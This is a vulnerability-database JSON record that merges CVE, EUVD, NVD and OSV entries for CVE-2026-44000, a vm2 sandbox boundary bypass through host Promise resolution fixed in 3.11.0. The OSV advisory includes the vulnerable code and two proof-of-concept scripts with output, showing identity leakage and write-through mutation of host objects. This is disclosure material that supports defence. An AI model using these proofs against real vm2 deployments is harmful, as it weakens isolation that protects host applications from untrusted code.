{"id":"EUVD-2026-30070","revision":null,"records":[{"revision":"17f06ebe9cae4d79a39e694e8ced26d1","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-44000","aliases":[],"title":"vm2: sandbox boundary bypass via host Promise resolution preserving host object identity","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including performing identity checks using host-side WeakMap and mutating host object state from inside the sandbox. This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. This vulnerability is fixed in 3.11.0.","state":0,"publishedAt":"2026-05-13T17:23:35.175+00:00","modifiedAt":"2026-05-13T18:20:55.192+00:00","affected":[{"ecosystem":"Vendor product","name":"vm2","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"patriksimek\",\n                    \"product\": \"vm2\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.11.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-mpf8-4hx2-7cjg"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44000","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44000","identifiers":["CVE-2026-44000"]},"retained":false,"historicalAffected":[]},{"revision":"33a0f424502e47ff8dc25ff35dbf4345","observedAt":"2026-11-07T09:37:45.7+00:00","statement":{"source":"euvd","id":"EUVD-2026-30070","aliases":["CVE-2026-44000","GHSA-mpf8-4hx2-7cjg"],"title":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host objec…","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including performing identity checks using host-side WeakMap and mutating host object state from inside the sandbox. This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. This vulnerability is fixed in 3.11.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":6.5,"severity":null}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-mpf8-4hx2-7cjg"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-30070","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 13, 2026, 5:23:35 PM","dateUpdated":"May 13, 2026, 6:20:55 PM"},"relatedAdvisories":[{"id":"RHSA-2026:50850","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.1 security update","vulnerabilityIds":["CVE-2026-9277","CVE-2026-43997","CVE-2026-43998","CVE-2026-43999","CVE-2026-44000","CVE-2026-44001","CVE-2026-44002","CVE-2026-44003","CVE-2026-44004","CVE-2026-44005","CVE-2026-44006","CVE-2026-44007","CVE-2026-44008","CVE-2026-44009","CVE-2026-45411","CVE-2026-47131","CVE-2026-47135","CVE-2026-47137","CVE-2026-47139","CVE-2026-47140","CVE-2026-47141","CVE-2026-47209","CVE-2026-48068","CVE-2026-48801","CVE-2026-59877"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-30070","identifiers":["EUVD-2026-30070","CVE-2026-44000","GHSA-mpf8-4hx2-7cjg"]},"retained":false,"historicalAffected":[]},{"revision":"6d95a28a86c6468b9c60b50d3c643c9b","observedAt":"2026-10-27T11:12:09.678+00:00","statement":{"source":"nvd","id":"CVE-2026-44000","aliases":[],"title":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host objec…","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including performing identity checks using host-side WeakMap and mutating host object state from inside the sandbox. This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. This vulnerability is fixed in 3.11.0.","state":0,"publishedAt":"2026-05-13T18:16:16.59+00:00","modifiedAt":"2026-10-26T17:10:03.27+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":6.5,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"severity":"HIGH"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-mpf8-4hx2-7cjg"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44000","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-693"],"productCriteria":["cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-05-13T18:16:16.590","lastModified":"2026-10-26T17:10:03.270"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44000","identifiers":["CVE-2026-44000"]},"retained":false,"historicalAffected":[]},{"revision":"3cc5a11c470c4f5aaa7786538348a50e","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-mpf8-4hx2-7cjg","aliases":["CVE-2026-44000"],"title":"vm2 Host Promise Resolution Preserves Object Identity Across Sandbox Boundary","description":"### Summary\n\nA sandbox boundary violation in **vm2** allows host object identity to cross into the sandbox through host Promise resolution.\n\nWhen a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox `.then()` callback preserves host identity. This allows the sandbox to interact with the host object directly, including:\n\n- Performing identity checks using host-side `WeakMap`\n- Mutating host object state from inside the sandbox\n\nThis behavior occurs because the Promise fulfillment wrapper uses `ensureThis()` instead of the stronger cross-realm conversion path (`from()` / proxy wrapping). If no prototype mapping is found, `ensureThis()` returns the original object.\n\nAs a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation.\n\n---\n\n### Details\n\nIn `setup-sandbox.js`, vm2 wraps `Promise.prototype.then`:\n\n```js\nglobalPromise.prototype.then = function then(onFulfilled, onRejected) {\n  resetPromiseSpecies(this);\n\n  if (typeof onFulfilled === 'function') {\n    const origOnFulfilled = onFulfilled;\n    onFulfilled = function onFulfilled(value) {\n      value = ensureThis(value);\n      return apply(origOnFulfilled, this, [value]);\n    };\n  }\n\n  return apply(globalPromiseThen, this, [onFulfilled, onRejected]);\n};\n\n\nThe wrapper calls ensureThis(value) before invoking the sandbox callback.\n\nHowever, ensureThis is implemented in bridge.js as thisEnsureThis():\n\nfunction thisEnsureThis(other) {\n  const type = typeof other;\n\n  switch (type) {\n    case 'object':\n      if (other === null) return null;\n\n    case 'function':\n      let proto = thisReflectGetPrototypeOf(other);\n\n      if (!proto) {\n        return other;\n      }\n\n      while (proto) {\n        const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]);\n\n        if (mapping) {\n          const mapped = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]);\n          if (mapped) return mapped;\n          return mapping(defaultFactory, other);\n        }\n\n        proto = thisReflectGetPrototypeOf(proto);\n      }\n\n      return other;\n\nIf no prototype mapping is found, ensureThis() simply returns the original object:\n\nreturn other;\n\nThis means the sandbox receives the original host object instead of a proxied or sanitized representation.\n\nBecause of this behavior, values resolved by host Promises can cross the host–sandbox boundary with identity preserved.\n\nPoC\n\nThe following Proof of Concept demonstrates that an object resolved by a host Promise can be used as a valid key in a host-side WeakMap from inside the sandbox.\n\nWeakMap keys rely on reference identity, so a successful lookup proves that the sandbox received the host object identity.\n\nPoC Code\nimport {VM} from \"./index.js\";\n\nconst hostObj = {tag: \"HOST_OBJ\"};\nconst hostPromise = Promise.resolve(hostObj);\n\n// WeakMap created on the host\nconst wm = new WeakMap([[hostObj, \"HIT\"]]);\n\nconst vm = new VM({\n  sandbox: {hostPromise, wm},\n  timeout: 1000,\n  eval: false,\n  wasm: false,\n});\n\nconst code = `\n  hostPromise.then(v => ({\n    weakMapGet: wm.get(v),\n    typeofV: typeof v,\n    tag: v.tag\n  }))\n`;\n\nconst result = await vm.run(code);\n\nconsole.log(\"VM RESULT:\", result);\nconsole.log(\"HOST SAME KEY STILL:\", wm.get(hostObj));\nOutput\nVM RESULT: { weakMapGet: 'HIT', typeofV: 'object', tag: 'HOST_OBJ' }\nHOST SAME KEY STILL: HIT\n\nThis confirms that the object delivered to the sandbox callback retains host identity.\n\nAdditional Demonstration: Host Object Mutation\n\nThe sandbox can also mutate host object state through the resolved Promise value.\n\nimport {VM} from \"./index.js\";\n\nconst hostObj = {tag: \"HOST_OBJ\", nested: {x: 1}};\nconst hostPromise = Promise.resolve(hostObj);\n\nconst vm = new VM({\n  sandbox: {hostPromise},\n  timeout: 1000,\n  eval: false,\n  wasm: false,\n});\n\nconst code = `\n  hostPromise.then(v => {\n    v.nested.x = 999;\n    v.tag = \"MUTATED\";\n    return { seenTag: v.tag, seenX: v.nested.x };\n  })\n`;\n\nconst result = await vm.run(code);\n\nconsole.log(\"VM RESULT:\", result);\nconsole.log(\"HOST AFTER:\", hostObj);\n\n**Output:**\nVM RESULT: { seenTag: 'MUTATED', seenX: 999 }\nHOST AFTER: { tag: 'MUTATED', nested: { x: 999 } }\n\nThis demonstrates write-through mutation of a host object from sandbox code.\n\n**Impact**\nThis vulnerability allows host object references to cross the vm2 sandbox boundary via Promise resolution.\n\nConsequences include:\n\nHost object identity disclosure\n\nWrite-through mutation of host objects\n\nWeakMap / WeakSet identity oracle across the boundary\n\nPotential capability leaks if sensitive host objects are reachable via Promises\n\nApplications that expose host Promises to sandboxed code may unintentionally grant the sandbox direct access to host objects.\n\nThis weakens the intended isolation guarantees of vm2.","state":0,"publishedAt":"2026-05-07T04:29:22+00:00","modifiedAt":"2026-05-14T20:51:05.427515+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-mpf8-4hx2-7cjg","https://nvd.nist.gov/vuln/detail/CVE-2026-44000","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.11.0"],"sourceUrl":"https://github.com/advisories/GHSA-mpf8-4hx2-7cjg","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-mpf8-4hx2-7cjg","identifiers":["GHSA-mpf8-4hx2-7cjg","CVE-2026-44000"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T17:07:37.1829709+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T17:07:37.1829709+00:00","lastSuccessAt":"2026-11-07T17:07:37.3549159+00:00","error":null,"lastVerifiedAt":"2026-11-07T17:07:37.3549172+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-715e663378e343ca50c7397586f2d227eca3ece57a7a73d5f48eaadc71eb9f69","complete":true,"records":420933,"lastAttemptAt":"2026-11-07T17:07:36.095653+00:00","lastSuccessAt":"2026-11-07T17:07:36.0305426+00:00","error":null,"lastVerifiedAt":"2026-11-07T17:07:36.095653+00:00","snapshotPublishedAt":"2026-11-07T16:30:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ce98ec71edc04bf7b5b5ed5b4106954c","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T17:19:56.3581416+00:00","lastSuccessAt":"2026-11-07T17:19:56.354+00:00","error":null,"lastVerifiedAt":"2026-11-07T17:19:56.354+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T17:07:37.1829709+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T17:07:37.1829709+00:00","lastSuccessAt":"2026-11-07T17:07:37.3564231+00:00","error":null,"lastVerifiedAt":"2026-11-07T17:07:37.3564236+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-57173bad19094db6a6a9d0334caa764d","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T17:08:02.7189692+00:00","lastSuccessAt":"2026-11-07T17:08:02.715+00:00","error":null,"lastVerifiedAt":"2026-11-07T17:08:02.715+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T17:07:36.7559298+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T17:07:36.7559298+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T17:07:36.1583672+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T17:07:36.1583672+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T17:07:37.135444+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T17:07:37.135444+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T17:07:36.637447+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T17:07:36.637447+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}